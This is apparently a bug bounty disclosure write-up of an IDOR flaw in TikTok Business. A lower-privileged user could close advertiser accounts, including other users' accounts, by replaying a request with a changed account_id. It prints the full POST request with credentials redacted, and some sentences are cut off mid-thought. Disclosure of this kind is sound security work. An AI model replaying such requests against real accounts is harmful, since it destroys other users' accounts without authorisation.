Hi!!
I have been bug hunting and researching web & mobile application for a while now. I used to mainly target private program either on Hackerone or Synack, but recently I'd decided to make a switch to public programs because -
TikTok Business allows its users to create "Advertiser Accounts". The user can then edit, manage roles of other users or delete that particular advertiser account as per their needs. The deleting functionality was surprisingly available to the "Analyst" role (lower privileged) user as well. All that the lower privileged user had to do was to click on the "Close Account" button and the advertiser account would be closed even though this functionality was only available to the admin of the advertiser account. I much later realised that this is an IDOR since no prior authorisation was needed since the same HTTP request could be replayed with the different value of the "account_id" parameter and that would close some other user's advertiser account.
POST /api/v2/bm/account/close/?org_id=XXX HTTP/2
Host: business.tiktok.com
Cookie: REDACTED
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://business.tiktok.com/manage/account?org_id=XXX
Content-Type: application/json;charset=utf-8
X-Csrftoken: REDACTED
Content-Length: 67
Origin: https://business.tiktok.com
{"account_id":"YYY","org_id":"XXX"}
"account_id" parameter to other user's advertiser account ID."account_id" parameter is a 19 digit non-incremental valueYou can reach-out to me on any of these platforms -